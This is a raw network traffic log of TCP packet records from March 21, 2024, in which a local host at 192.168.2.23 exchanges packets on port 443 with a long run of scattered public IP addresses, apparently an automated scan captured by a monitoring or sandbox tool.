Mar 21, 2024 05:25:10.940807104 CET	12232	443	192.168.2.23	94.139.161.51
Mar 21, 2024 05:25:10.940807104 CET	12232	443	192.168.2.23	94.107.102.167
Mar 21, 2024 05:25:10.940812111 CET	12232	443	192.168.2.23	5.250.230.9
Mar 21, 2024 05:25:10.940815926 CET	12232	443	192.168.2.23	212.139.144.46
Mar 21, 2024 05:25:10.940818071 CET	443	12232	42.174.232.3	192.168.2.23
Mar 21, 2024 05:25:10.940823078 CET	12232	443	192.168.2.23	5.146.236.107
Mar 21, 2024 05:25:10.940823078 CET	12232	443	192.168.2.23	42.138.195.139
Mar 21, 2024 05:25:10.940829039 CET	12232	443	192.168.2.23	79.150.222.20
Mar 21, 2024 05:25:10.940829039 CET	443	12232	94.139.161.51	192.168.2.23
Mar 21, 2024 05:25:10.940838099 CET	12232	443	192.168.2.23	109.149.240.151
Mar 21, 2024 05:25:10.940839052 CET	12232	443	192.168.2.23	79.90.231.147
Mar 21, 2024 05:25:10.940838099 CET	12232	443	192.168.2.23	2.220.219.161
Mar 21, 2024 05:25:10.940840006 CET	443	12232	94.107.102.167	192.168.2.23
Mar 21, 2024 05:25:10.940843105 CET	12232	443	192.168.2.23	118.28.66.105
Mar 21, 2024 05:25:10.940843105 CET	12232	443	192.168.2.23	5.59.43.129
Mar 21, 2024 05:25:10.940843105 CET	12232	443	192.168.2.23	2.157.47.177
Mar 21, 2024 05:25:10.940845013 CET	443	12232	79.90.231.147	192.168.2.23
Mar 21, 2024 05:25:10.940850973 CET	443	12232	5.59.43.129	192.168.2.23
Mar 21, 2024 05:25:10.940854073 CET	12232	443	192.168.2.23	94.155.74.245
Mar 21, 2024 05:25:10.940854073 CET	12232	443	192.168.2.23	37.178.118.12
Mar 21, 2024 05:25:10.940854073 CET	12232	443	192.168.2.23	79.111.106.83
Mar 21, 2024 05:25:10.940854073 CET	12232	443	192.168.2.23	2.64.69.111
Mar 21, 2024 05:25:10.940855980 CET	12232	443	192.168.2.23	118.59.5.156
Mar 21, 2024 05:25:10.940854073 CET	12232	443	192.168.2.23	94.69.45.138
Mar 21, 2024 05:25:10.940855980 CET	12232	443	192.168.2.23	94.119.195.219
Mar 21, 2024 05:25:10.940861940 CET	12232	443	192.168.2.23	210.239.194.54
Mar 21, 2024 05:25:10.940856934 CET	12232	443	192.168.2.23	42.165.238.71
Mar 21, 2024 05:25:10.940864086 CET	12232	443	192.168.2.23	109.70.69.41
Mar 21, 2024 05:25:10.940864086 CET	12232	443	192.168.2.23	42.185.163.26
Mar 21, 2024 05:25:10.940864086 CET	12232	443	192.168.2.23	37.93.153.107
Mar 21, 2024 05:25:10.940855980 CET	12232	443	192.168.2.23	42.174.232.3
Mar 21, 2024 05:25:10.940871000 CET	443	12232	118.59.5.156	192.168.2.23
Mar 21, 2024 05:25:10.940871000 CET	443	12232	210.239.194.54	192.168.2.23
Mar 21, 2024 05:25:10.940875053 CET	443	12232	2.64.69.111	192.168.2.23
Mar 21, 2024 05:25:10.940876007 CET	12232	443	192.168.2.23	178.172.196.134
Mar 21, 2024 05:25:10.940876961 CET	12232	443	192.168.2.23	5.33.223.147
Mar 21, 2024 05:25:10.940876961 CET	12232	443	192.168.2.23	42.172.117.141
Mar 21, 2024 05:25:10.940876961 CET	12232	443	192.168.2.23	37.212.8.35
Mar 21, 2024 05:25:10.940876961 CET	12232	443	192.168.2.23	5.63.68.190
Mar 21, 2024 05:25:10.940876007 CET	12232	443	192.168.2.23	109.85.0.209
Mar 21, 2024 05:25:10.940876007 CET	12232	443	192.168.2.23	42.40.188.139
Mar 21, 2024 05:25:10.940880060 CET	443	12232	42.165.238.71	192.168.2.23
Mar 21, 2024 05:25:10.940881014 CET	443	12232	109.70.69.41	192.168.2.23
Mar 21, 2024 05:25:10.940884113 CET	443	12232	94.119.195.219	192.168.2.23
Mar 21, 2024 05:25:10.940884113 CET	443	12232	37.93.153.107	192.168.2.23
Mar 21, 2024 05:25:10.940885067 CET	443	12232	5.33.223.147	192.168.2.23
Mar 21, 2024 05:25:10.940886021 CET	443	12232	42.185.163.26	192.168.2.23
Mar 21, 2024 05:25:10.940890074 CET	12232	443	192.168.2.23	42.243.171.38
Mar 21, 2024 05:25:10.940890074 CET	12232	443	192.168.2.23	5.59.43.129
Mar 21, 2024 05:25:10.940890074 CET	443	12232	94.69.45.138	192.168.2.23
Mar 21, 2024 05:25:10.940890074 CET	443	12232	178.172.196.134	192.168.2.23
Mar 21, 2024 05:25:10.940892935 CET	443	12232	42.172.117.141	192.168.2.23
Mar 21, 2024 05:25:10.940895081 CET	12232	443	192.168.2.23	178.166.70.153
Mar 21, 2024 05:25:10.940895081 CET	12232	443	192.168.2.23	79.90.231.147
Mar 21, 2024 05:25:10.940896034 CET	443	12232	109.85.0.209	192.168.2.23
Mar 21, 2024 05:25:10.940895081 CET	12232	443	192.168.2.23	212.202.94.242
Mar 21, 2024 05:25:10.940896988 CET	12232	443	192.168.2.23	5.3.216.68
Mar 21, 2024 05:25:10.940897942 CET	443	12232	37.212.8.35	192.168.2.23
Mar 21, 2024 05:25:10.940898895 CET	443	12232	42.243.171.38	192.168.2.23
Mar 21, 2024 05:25:10.940895081 CET	12232	443	192.168.2.23	37.170.54.140
Mar 21, 2024 05:25:10.940900087 CET	12232	443	192.168.2.23	178.192.240.225
Mar 21, 2024 05:25:10.940900087 CET	12232	443	192.168.2.23	37.212.108.207
Mar 21, 2024 05:25:10.940900087 CET	12232	443	192.168.2.23	79.122.157.100
Mar 21, 2024 05:25:10.940900087 CET	12232	443	192.168.2.23	94.139.161.51
Mar 21, 2024 05:25:10.940901041 CET	12232	443	192.168.2.23	212.43.104.64
Mar 21, 2024 05:25:10.940901041 CET	12232	443	192.168.2.23	79.12.75.254
Mar 21, 2024 05:25:10.940901041 CET	12232	443	192.168.2.23	94.107.102.167
Mar 21, 2024 05:25:10.940901041 CET	12232	443	192.168.2.23	212.128.145.239
Mar 21, 2024 05:25:10.940907001 CET	443	12232	5.3.216.68	192.168.2.23
Mar 21, 2024 05:25:10.940907001 CET	443	12232	37.212.108.207	192.168.2.23
Mar 21, 2024 05:25:10.940907955 CET	443	12232	5.63.68.190	192.168.2.23
Mar 21, 2024 05:25:10.940910101 CET	443	12232	178.166.70.153	192.168.2.23
Mar 21, 2024 05:25:10.940908909 CET	443	12232	42.40.188.139	192.168.2.23
Mar 21, 2024 05:25:10.940915108 CET	12232	443	192.168.2.23	42.22.57.143
Mar 21, 2024 05:25:10.940915108 CET	12232	443	192.168.2.23	210.239.194.54
Mar 21, 2024 05:25:10.940917969 CET	12232	443	192.168.2.23	109.70.69.41
Mar 21, 2024 05:25:10.940917969 CET	12232	443	192.168.2.23	42.185.163.26
Mar 21, 2024 05:25:10.940917969 CET	12232	443	192.168.2.23	37.93.153.107
Mar 21, 2024 05:25:10.940918922 CET	12232	443	192.168.2.23	42.165.238.71
Mar 21, 2024 05:25:10.940918922 CET	443	12232	178.192.240.225	192.168.2.23
Mar 21, 2024 05:25:10.940918922 CET	12232	443	192.168.2.23	5.33.223.147
Mar 21, 2024 05:25:10.940922976 CET	443	12232	42.22.57.143	192.168.2.23
Mar 21, 2024 05:25:10.940922976 CET	443	12232	212.202.94.242	192.168.2.23
Mar 21, 2024 05:25:10.940929890 CET	12232	443	192.168.2.23	42.172.117.141
Mar 21, 2024 05:25:10.940931082 CET	443	12232	37.170.54.140	192.168.2.23
Mar 21, 2024 05:25:10.940932035 CET	443	12232	79.122.157.100	192.168.2.23
Mar 21, 2024 05:25:10.940932989 CET	12232	443	192.168.2.23	42.243.171.38
Mar 21, 2024 05:25:10.940936089 CET	12232	443	192.168.2.23	109.252.208.99
Mar 21, 2024 05:25:10.940936089 CET	12232	443	192.168.2.23	210.156.8.153
Mar 21, 2024 05:25:10.940936089 CET	12232	443	192.168.2.23	37.87.114.122
Mar 21, 2024 05:25:10.940936089 CET	12232	443	192.168.2.23	178.172.196.134
Mar 21, 2024 05:25:10.940937042 CET	12232	443	192.168.2.23	5.44.199.82
Mar 21, 2024 05:25:10.940936089 CET	12232	443	192.168.2.23	109.85.0.209
Mar 21, 2024 05:25:10.940937042 CET	12232	443	192.168.2.23	118.59.5.156
Mar 21, 2024 05:25:10.940937042 CET	12232	443	192.168.2.23	94.119.195.219
Mar 21, 2024 05:25:10.940942049 CET	443	12232	212.43.104.64	192.168.2.23
Mar 21, 2024 05:25:10.940943003 CET	12232	443	192.168.2.23	37.212.8.35
Mar 21, 2024 05:25:10.940943003 CET	12232	443	192.168.2.23	5.63.68.190
Mar 21, 2024 05:25:10.940944910 CET	12232	443	192.168.2.23	5.3.216.68
Mar 21, 2024 05:25:10.940948009 CET	443	12232	79.12.75.254	192.168.2.23
Mar 21, 2024 05:25:10.940949917 CET	443	12232	5.44.199.82	192.168.2.23
Mar 21, 2024 05:25:10.940956116 CET	12232	443	192.168.2.23	37.212.108.207
Mar 21, 2024 05:25:10.940957069 CET	443	12232	109.252.208.99	192.168.2.23
Mar 21, 2024 05:25:10.940958023 CET	12232	443	192.168.2.23	178.0.147.158
Mar 21, 2024 05:25:10.940958023 CET	12232	443	192.168.2.23	42.22.57.143
Mar 21, 2024 05:25:10.940958977 CET	443	12232	212.128.145.239	192.168.2.23
Mar 21, 2024 05:25:10.940959930 CET	12232	443	192.168.2.23	178.166.70.153
Mar 21, 2024 05:25:10.940969944 CET	443	12232	178.0.147.158	192.168.2.23
Mar 21, 2024 05:25:10.940969944 CET	12232	443	192.168.2.23	212.202.94.242
Mar 21, 2024 05:25:10.940975904 CET	443	12232	210.156.8.153	192.168.2.23
Mar 21, 2024 05:25:10.940979004 CET	12232	443	192.168.2.23	94.73.254.47
Mar 21, 2024 05:25:10.940980911 CET	12232	443	192.168.2.23	2.64.69.111
Mar 21, 2024 05:25:10.940980911 CET	12232	443	192.168.2.23	94.69.45.138
Mar 21, 2024 05:25:10.940980911 CET	12232	443	192.168.2.23	178.192.240.225
Mar 21, 2024 05:25:10.940980911 CET	12232	443	192.168.2.23	212.43.104.64
Mar 21, 2024 05:25:10.940980911 CET	12232	443	192.168.2.23	79.12.75.254
Mar 21, 2024 05:25:10.940980911 CET	12232	443	192.168.2.23	79.122.157.100
Mar 21, 2024 05:25:10.940984964 CET	12232	443	192.168.2.23	37.170.54.140
Mar 21, 2024 05:25:10.940985918 CET	443	12232	94.73.254.47	192.168.2.23
Mar 21, 2024 05:25:10.940987110 CET	443	12232	37.87.114.122	192.168.2.23
Mar 21, 2024 05:25:10.940989017 CET	12232	443	192.168.2.23	5.44.199.82
Mar 21, 2024 05:25:10.940998077 CET	12232	443	192.168.2.23	5.208.34.0
Mar 21, 2024 05:25:10.941000938 CET	12232	443	192.168.2.23	79.11.197.247
Mar 21, 2024 05:25:10.941004038 CET	443	12232	5.208.34.0	192.168.2.23
Mar 21, 2024 05:25:10.941004038 CET	12232	443	192.168.2.23	178.189.172.92
Mar 21, 2024 05:25:10.941004038 CET	12232	443	192.168.2.23	5.174.229.179
Mar 21, 2024 05:25:10.941005945 CET	12232	443	192.168.2.23	42.40.188.139
Mar 21, 2024 05:25:10.941006899 CET	443	12232	79.11.197.247	192.168.2.23
Mar 21, 2024 05:25:10.941005945 CET	12232	443	192.168.2.23	109.252.208.99
Mar 21, 2024 05:25:10.941005945 CET	12232	443	192.168.2.23	210.156.8.153
Mar 21, 2024 05:25:10.941014051 CET	12232	443	192.168.2.23	212.128.145.239
Mar 21, 2024 05:25:10.941015005 CET	443	12232	178.189.172.92	192.168.2.23
Mar 21, 2024 05:25:10.941018105 CET	12232	443	192.168.2.23	178.119.34.232
Mar 21, 2024 05:25:10.941018105 CET	12232	443	192.168.2.23	178.0.147.158
Mar 21, 2024 05:25:10.941018105 CET	12232	443	192.168.2.23	212.91.230.159
Mar 21, 2024 05:25:10.941018105 CET	12232	443	192.168.2.23	2.224.245.126
Mar 21, 2024 05:25:10.941019058 CET	12232	443	192.168.2.23	37.134.115.126
Mar 21, 2024 05:25:10.941019058 CET	12232	443	192.168.2.23	37.253.77.97
Mar 21, 2024 05:25:10.941019058 CET	12232	443	192.168.2.23	94.146.101.178
Mar 21, 2024 05:25:10.941019058 CET	12232	443	192.168.2.23	94.179.216.170
Mar 21, 2024 05:25:10.941024065 CET	12232	443	192.168.2.23	37.87.114.122
Mar 21, 2024 05:25:10.941025972 CET	12232	443	192.168.2.23	79.7.132.153
Mar 21, 2024 05:25:10.941026926 CET	12232	443	192.168.2.23	109.160.158.236
Mar 21, 2024 05:25:10.941029072 CET	443	12232	178.119.34.232	192.168.2.23
Mar 21, 2024 05:25:10.941030025 CET	443	12232	5.174.229.179	192.168.2.23
Mar 21, 2024 05:25:10.941031933 CET	443	12232	37.134.115.126	192.168.2.23
Mar 21, 2024 05:25:10.941034079 CET	443	12232	79.7.132.153	192.168.2.23
Mar 21, 2024 05:25:10.941035032 CET	443	12232	109.160.158.236	192.168.2.23
Mar 21, 2024 05:25:10.941039085 CET	443	12232	37.253.77.97	192.168.2.23
Mar 21, 2024 05:25:10.941040993 CET	12232	443	192.168.2.23	178.87.151.73
Mar 21, 2024 05:25:10.941042900 CET	443	12232	212.91.230.159	192.168.2.23
Mar 21, 2024 05:25:10.941045046 CET	12232	443	192.168.2.23	94.76.198.87
Mar 21, 2024 05:25:10.941045046 CET	12232	443	192.168.2.23	212.56.219.71
Mar 21, 2024 05:25:10.941046000 CET	12232	443	192.168.2.23	178.142.235.242
Mar 21, 2024 05:25:10.941046000 CET	443	12232	178.87.151.73	192.168.2.23
Mar 21, 2024 05:25:10.941046953 CET	443	12232	94.146.101.178	192.168.2.23
Mar 21, 2024 05:25:10.941046953 CET	443	12232	2.224.245.126	192.168.2.23
Mar 21, 2024 05:25:10.941047907 CET	12232	443	192.168.2.23	212.66.181.69
Mar 21, 2024 05:25:10.941047907 CET	12232	443	192.168.2.23	5.208.34.0
Mar 21, 2024 05:25:10.941051006 CET	12232	443	192.168.2.23	210.177.144.22
Mar 21, 2024 05:25:10.941051006 CET	12232	443	192.168.2.23	210.184.253.219
Mar 21, 2024 05:25:10.941052914 CET	443	12232	94.76.198.87	192.168.2.23
Mar 21, 2024 05:25:10.941052914 CET	443	12232	212.66.181.69	192.168.2.23
Mar 21, 2024 05:25:10.941054106 CET	12232	443	192.168.2.23	210.193.140.173
Mar 21, 2024 05:25:10.941054106 CET	12232	443	192.168.2.23	94.73.254.47
Mar 21, 2024 05:25:10.941054106 CET	12232	443	192.168.2.23	79.189.189.43
Mar 21, 2024 05:25:10.941054106 CET	12232	443	192.168.2.23	118.132.238.87
Mar 21, 2024 05:25:10.941056013 CET	443	12232	94.179.216.170	192.168.2.23
Mar 21, 2024 05:25:10.941059113 CET	12232	443	192.168.2.23	178.189.172.92
Mar 21, 2024 05:25:10.941059113 CET	12232	443	192.168.2.23	2.202.24.207
Mar 21, 2024 05:25:10.941061020 CET	12232	443	192.168.2.23	2.135.210.221
Mar 21, 2024 05:25:10.941062927 CET	443	12232	178.142.235.242	192.168.2.23
Mar 21, 2024 05:25:10.941063881 CET	443	12232	210.193.140.173	192.168.2.23
Mar 21, 2024 05:25:10.941065073 CET	443	12232	212.56.219.71	192.168.2.23
Mar 21, 2024 05:25:10.941066027 CET	443	12232	2.135.210.221	192.168.2.23
Mar 21, 2024 05:25:10.941067934 CET	443	12232	2.202.24.207	192.168.2.23
Mar 21, 2024 05:25:10.941068888 CET	443	12232	210.177.144.22	192.168.2.23
Mar 21, 2024 05:25:10.941071033 CET	12232	443	192.168.2.23	109.160.158.236
Mar 21, 2024 05:25:10.941072941 CET	12232	443	192.168.2.23	5.27.93.37
Mar 21, 2024 05:25:10.941072941 CET	443	12232	79.189.189.43	192.168.2.23
Mar 21, 2024 05:25:10.941072941 CET	12232	443	192.168.2.23	79.67.75.84
Mar 21, 2024 05:25:10.941072941 CET	12232	443	192.168.2.23	178.231.247.38
Mar 21, 2024 05:25:10.941072941 CET	12232	443	192.168.2.23	79.11.197.247
Mar 21, 2024 05:25:10.941072941 CET	12232	443	192.168.2.23	118.23.254.9
Mar 21, 2024 05:25:10.941073895 CET	12232	443	192.168.2.23	94.146.101.178
Mar 21, 2024 05:25:10.941076040 CET	443	12232	210.184.253.219	192.168.2.23
Mar 21, 2024 05:25:10.941075087 CET	12232	443	192.168.2.23	5.174.229.179
Mar 21, 2024 05:25:10.941080093 CET	443	12232	118.132.238.87	192.168.2.23
Mar 21, 2024 05:25:10.941082954 CET	12232	443	192.168.2.23	79.7.132.153
Mar 21, 2024 05:25:10.941087008 CET	443	12232	5.27.93.37	192.168.2.23
Mar 21, 2024 05:25:10.941088915 CET	12232	443	192.168.2.23	94.76.198.87
Mar 21, 2024 05:25:10.941088915 CET	12232	443	192.168.2.23	212.66.181.69
Mar 21, 2024 05:25:10.941088915 CET	12232	443	192.168.2.23	210.177.144.22
Mar 21, 2024 05:25:10.941088915 CET	12232	443	192.168.2.23	2.135.210.221
Mar 21, 2024 05:25:10.941093922 CET	12232	443	192.168.2.23	178.87.151.73
Mar 21, 2024 05:25:10.941093922 CET	443	12232	79.67.75.84	192.168.2.23
Mar 21, 2024 05:25:10.941097975 CET	12232	443	192.168.2.23	178.119.34.232
Mar 21, 2024 05:25:10.941097975 CET	12232	443	192.168.2.23	212.91.230.159
Mar 21, 2024 05:25:10.941097975 CET	12232	443	192.168.2.23	2.224.245.126
Mar 21, 2024 05:25:10.941097975 CET	12232	443	192.168.2.23	210.193.140.173
Mar 21, 2024 05:25:10.941097975 CET	12232	443	192.168.2.23	79.189.189.43
Mar 21, 2024 05:25:10.941102028 CET	443	12232	178.231.247.38	192.168.2.23
Mar 21, 2024 05:25:10.941102028 CET	12232	443	192.168.2.23	212.56.219.71
Mar 21, 2024 05:25:10.941106081 CET	12232	443	192.168.2.23	2.202.24.207
Mar 21, 2024 05:25:10.941107035 CET	12232	443	192.168.2.23	178.142.235.242
Mar 21, 2024 05:25:10.941107988 CET	12232	443	192.168.2.23	210.184.253.219
Mar 21, 2024 05:25:10.941111088 CET	12232	443	192.168.2.23	118.132.238.87
Mar 21, 2024 05:25:10.941111088 CET	443	12232	118.23.254.9	192.168.2.23
Mar 21, 2024 05:25:10.941117048 CET	12232	443	192.168.2.23	42.127.11.101
Mar 21, 2024 05:25:10.941121101 CET	12232	443	192.168.2.23	37.253.77.97
Mar 21, 2024 05:25:10.941121101 CET	12232	443	192.168.2.23	37.134.115.126
Mar 21, 2024 05:25:10.941121101 CET	12232	443	192.168.2.23	94.179.216.170
Mar 21, 2024 05:25:10.941121101 CET	12232	443	192.168.2.23	37.240.184.57
Mar 21, 2024 05:25:10.941121101 CET	12232	443	192.168.2.23	5.27.93.37
Mar 21, 2024 05:25:10.941121101 CET	12232	443	192.168.2.23	79.67.75.84
Mar 21, 2024 05:25:10.941124916 CET	12232	443	192.168.2.23	212.137.102.40
Mar 21, 2024 05:25:10.941124916 CET	443	12232	42.127.11.101	192.168.2.23
Mar 21, 2024 05:25:10.941124916 CET	12232	443	192.168.2.23	118.101.78.33
Mar 21, 2024 05:25:10.941133022 CET	443	12232	118.101.78.33	192.168.2.23
Mar 21, 2024 05:25:10.941133976 CET	443	12232	212.137.102.40	192.168.2.23
Mar 21, 2024 05:25:10.941134930 CET	443	12232	37.240.184.57	192.168.2.23
Mar 21, 2024 05:25:10.941148043 CET	12232	443	192.168.2.23	94.245.17.198
Mar 21, 2024 05:25:10.941152096 CET	12232	443	192.168.2.23	178.231.247.38
Mar 21, 2024 05:25:10.941152096 CET	12232	443	192.168.2.23	118.23.254.9
Mar 21, 2024 05:25:10.941153049 CET	443	12232	94.245.17.198	192.168.2.23
Mar 21, 2024 05:25:10.941159010 CET	12232	443	192.168.2.23	37.184.50.159
Mar 21, 2024 05:25:10.941163063 CET	12232	443	192.168.2.23	2.92.127.215
Mar 21, 2024 05:25:10.941164017 CET	12232	443	192.168.2.23	94.202.24.5
Mar 21, 2024 05:25:10.941164017 CET	12232	443	192.168.2.23	37.141.224.247
Mar 21, 2024 05:25:10.941164017 CET	443	12232	37.184.50.159	192.168.2.23
Mar 21, 2024 05:25:10.941164970 CET	12232	443	192.168.2.23	118.109.246.171
Mar 21, 2024 05:25:10.941167116 CET	12232	443	192.168.2.23	42.127.11.101
Mar 21, 2024 05:25:10.941170931 CET	443	12232	2.92.127.215	192.168.2.23
Mar 21, 2024 05:25:10.941174030 CET	443	12232	94.202.24.5	192.168.2.23
Mar 21, 2024 05:25:10.941175938 CET	12232	443	192.168.2.23	210.79.127.33
Mar 21, 2024 05:25:10.941175938 CET	443	12232	118.109.246.171	192.168.2.23
Mar 21, 2024 05:25:10.941175938 CET	12232	443	192.168.2.23	37.240.184.57
Mar 21, 2024 05:25:10.941181898 CET	443	12232	210.79.127.33	192.168.2.23
Mar 21, 2024 05:25:10.941183090 CET	443	12232	37.141.224.247	192.168.2.23
Mar 21, 2024 05:25:10.941184998 CET	12232	443	192.168.2.23	118.101.78.33
Mar 21, 2024 05:25:10.941184998 CET	12232	443	192.168.2.23	94.245.17.198
Mar 21, 2024 05:25:10.941190004 CET	12232	443	192.168.2.23	79.132.111.50
Mar 21, 2024 05:25:10.941191912 CET	12232	443	192.168.2.23	212.137.102.40
Mar 21, 2024 05:25:10.941194057 CET	12232	443	192.168.2.23	37.184.50.159
Mar 21, 2024 05:25:10.941195011 CET	443	12232	79.132.111.50	192.168.2.23
Mar 21, 2024 05:25:10.941199064 CET	12232	443	192.168.2.23	2.92.127.215
Mar 21, 2024 05:25:10.941204071 CET	12232	443	192.168.2.23	94.202.24.5
Mar 21, 2024 05:25:10.941204071 CET	12232	443	192.168.2.23	118.109.246.171
Mar 21, 2024 05:25:10.941204071 CET	12232	443	192.168.2.23	37.141.224.247
Mar 21, 2024 05:25:10.941205025 CET	12232	443	192.168.2.23	210.79.127.33
Mar 21, 2024 05:25:10.941220999 CET	12232	443	192.168.2.23	79.132.111.50
Mar 21, 2024 05:25:10.941221952 CET	12232	443	192.168.2.23	2.33.149.146
Mar 21, 2024 05:25:10.941226006 CET	12232	443	192.168.2.23	42.228.59.144
Mar 21, 2024 05:25:10.941229105 CET	443	12232	2.33.149.146	192.168.2.23
Mar 21, 2024 05:25:10.941232920 CET	443	12232	42.228.59.144	192.168.2.23
Mar 21, 2024 05:25:10.941236019 CET	12232	443	192.168.2.23	212.211.175.188
Mar 21, 2024 05:25:10.941236973 CET	12232	443	192.168.2.23	212.215.131.131
Mar 21, 2024 05:25:10.941246033 CET	443	12232	212.211.175.188	192.168.2.23
Mar 21, 2024 05:25:10.941246033 CET	12232	443	192.168.2.23	42.220.174.95
Mar 21, 2024 05:25:10.941252947 CET	443	12232	42.220.174.95	192.168.2.23
Mar 21, 2024 05:25:10.941253901 CET	12232	443	192.168.2.23	118.145.158.158
Mar 21, 2024 05:25:10.941255093 CET	443	12232	212.215.131.131	192.168.2.23
Mar 21, 2024 05:25:10.941263914 CET	443	12232	118.145.158.158	192.168.2.23
Mar 21, 2024 05:25:10.941270113 CET	12232	443	192.168.2.23	42.228.59.144
Mar 21, 2024 05:25:10.941276073 CET	12232	443	192.168.2.23	2.33.149.146
Mar 21, 2024 05:25:10.941277981 CET	12232	443	192.168.2.23	5.114.7.236
Mar 21, 2024 05:25:10.941281080 CET	12232	443	192.168.2.23	118.35.100.161
Mar 21, 2024 05:25:10.941281080 CET	12232	443	192.168.2.23	2.179.0.8
Mar 21, 2024 05:25:10.941282034 CET	12232	443	192.168.2.23	79.135.236.33
Mar 21, 2024 05:25:10.941282034 CET	12232	443	192.168.2.23	42.220.174.95
Mar 21, 2024 05:25:10.941282988 CET	443	12232	5.114.7.236	192.168.2.23
Mar 21, 2024 05:25:10.941282988 CET	12232	443	192.168.2.23	212.211.175.188
Mar 21, 2024 05:25:10.941289902 CET	443	12232	118.35.100.161	192.168.2.23
Mar 21, 2024 05:25:10.941289902 CET	443	12232	79.135.236.33	192.168.2.23
Mar 21, 2024 05:25:10.941299915 CET	443	12232	2.179.0.8	192.168.2.23
Mar 21, 2024 05:25:10.941302061 CET	12232	443	192.168.2.23	79.221.77.250
Mar 21, 2024 05:25:10.941306114 CET	12232	443	192.168.2.23	118.145.158.158
Mar 21, 2024 05:25:10.941307068 CET	443	12232	79.221.77.250	192.168.2.23
Mar 21, 2024 05:25:10.941307068 CET	12232	443	192.168.2.23	5.214.95.111
Mar 21, 2024 05:25:10.941307068 CET	12232	443	192.168.2.23	212.209.34.186
Mar 21, 2024 05:25:10.941309929 CET	12232	443	192.168.2.23	212.215.131.131
Mar 21, 2024 05:25:10.941313028 CET	443	12232	212.209.34.186	192.168.2.23
Mar 21, 2024 05:25:10.941313028 CET	443	12232	5.214.95.111	192.168.2.23
Mar 21, 2024 05:25:10.941324949 CET	12232	443	192.168.2.23	5.114.7.236
Mar 21, 2024 05:25:10.941330910 CET	12232	443	192.168.2.23	79.135.236.33
Mar 21, 2024 05:25:10.941330910 CET	12232	443	192.168.2.23	118.35.100.161
Mar 21, 2024 05:25:10.941330910 CET	12232	443	192.168.2.23	2.179.0.8
Mar 21, 2024 05:25:10.941339016 CET	12232	443	192.168.2.23	79.221.77.250
Mar 21, 2024 05:25:10.941346884 CET	12232	443	192.168.2.23	5.185.132.207
Mar 21, 2024 05:25:10.941346884 CET	12232	443	192.168.2.23	5.214.95.111
Mar 21, 2024 05:25:10.941346884 CET	12232	443	192.168.2.23	37.83.87.192
Mar 21, 2024 05:25:10.941346884 CET	12232	443	192.168.2.23	212.209.34.186
Mar 21, 2024 05:25:10.941349983 CET	12232	443	192.168.2.23	37.149.115.83
Mar 21, 2024 05:25:10.941353083 CET	443	12232	5.185.132.207	192.168.2.23
Mar 21, 2024 05:25:10.941353083 CET	12232	443	192.168.2.23	178.230.114.9
Mar 21, 2024 05:25:10.941354990 CET	443	12232	37.149.115.83	192.168.2.23
Mar 21, 2024 05:25:10.941353083 CET	443	12232	37.83.87.192	192.168.2.23
Mar 21, 2024 05:25:10.941353083 CET	12232	443	192.168.2.23	94.128.93.248
Mar 21, 2024 05:25:10.941356897 CET	12232	443	192.168.2.23	118.128.85.84
Mar 21, 2024 05:25:10.941365957 CET	443	12232	118.128.85.84	192.168.2.23
Mar 21, 2024 05:25:10.941366911 CET	12232	443	192.168.2.23	5.77.47.4
Mar 21, 2024 05:25:10.941368103 CET	12232	443	192.168.2.23	210.183.207.14
Mar 21, 2024 05:25:10.941373110 CET	443	12232	178.230.114.9	192.168.2.23
Mar 21, 2024 05:25:10.941374063 CET	443	12232	210.183.207.14	192.168.2.23
Mar 21, 2024 05:25:10.941375971 CET	12232	443	192.168.2.23	178.38.29.208
Mar 21, 2024 05:25:10.941380024 CET	12232	443	192.168.2.23	109.154.112.69
Mar 21, 2024 05:25:10.941380024 CET	12232	443	192.168.2.23	37.83.87.192
Mar 21, 2024 05:25:10.941380978 CET	443	12232	5.77.47.4	192.168.2.23
Mar 21, 2024 05:25:10.941381931 CET	443	12232	178.38.29.208	192.168.2.23
Mar 21, 2024 05:25:10.941382885 CET	443	12232	94.128.93.248	192.168.2.23
Mar 21, 2024 05:25:10.941385031 CET	443	12232	109.154.112.69	192.168.2.23
Mar 21, 2024 05:25:10.941387892 CET	12232	443	192.168.2.23	37.149.115.83
Mar 21, 2024 05:25:10.941396952 CET	12232	443	192.168.2.23	79.187.247.119
Mar 21, 2024 05:25:10.941401958 CET	443	12232	79.187.247.119	192.168.2.23
Mar 21, 2024 05:25:10.941404104 CET	12232	443	192.168.2.23	5.185.132.207
Mar 21, 2024 05:25:10.941404104 CET	12232	443	192.168.2.23	42.75.128.9
Mar 21, 2024 05:25:10.941405058 CET	12232	443	192.168.2.23	118.128.85.84
Mar 21, 2024 05:25:10.941406965 CET	12232	443	192.168.2.23	5.29.75.248
Mar 21, 2024 05:25:10.941410065 CET	12232	443	192.168.2.23	178.230.114.9
Mar 21, 2024 05:25:10.941411972 CET	443	12232	42.75.128.9	192.168.2.23
Mar 21, 2024 05:25:10.941410065 CET	12232	443	192.168.2.23	94.128.93.248
Mar 21, 2024 05:25:10.941410065 CET	12232	443	192.168.2.23	210.234.239.84
Mar 21, 2024 05:25:10.941412926 CET	443	12232	5.29.75.248	192.168.2.23
Mar 21, 2024 05:25:10.941417933 CET	12232	443	192.168.2.23	210.183.207.14
Mar 21, 2024 05:25:10.941420078 CET	12232	443	192.168.2.23	178.117.123.181
Mar 21, 2024 05:25:10.941422939 CET	443	12232	210.234.239.84	192.168.2.23
Mar 21, 2024 05:25:10.941423893 CET	12232	443	192.168.2.23	42.142.58.32
Mar 21, 2024 05:25:10.941426992 CET	443	12232	178.117.123.181	192.168.2.23
Mar 21, 2024 05:25:10.941428900 CET	443	12232	42.142.58.32	192.168.2.23
Mar 21, 2024 05:25:10.941428900 CET	12232	443	192.168.2.23	5.77.47.4
Mar 21, 2024 05:25:10.941428900 CET	12232	443	192.168.2.23	178.38.29.208
Mar 21, 2024 05:25:10.941428900 CET	12232	443	192.168.2.23	109.154.112.69
Mar 21, 2024 05:25:10.941428900 CET	12232	443	192.168.2.23	79.187.247.119
Mar 21, 2024 05:25:10.941432953 CET	12232	443	192.168.2.23	37.222.216.7
Mar 21, 2024 05:25:10.941437960 CET	12232	443	192.168.2.23	37.124.33.191
Mar 21, 2024 05:25:10.941437960 CET	12232	443	192.168.2.23	42.75.128.9
Mar 21, 2024 05:25:10.941441059 CET	12232	443	192.168.2.23	5.29.75.248
Mar 21, 2024 05:25:10.941442966 CET	443	12232	37.222.216.7	192.168.2.23
Mar 21, 2024 05:25:10.941443920 CET	443	12232	37.124.33.191	192.168.2.23
Mar 21, 2024 05:25:10.941448927 CET	12232	443	192.168.2.23	2.10.196.133
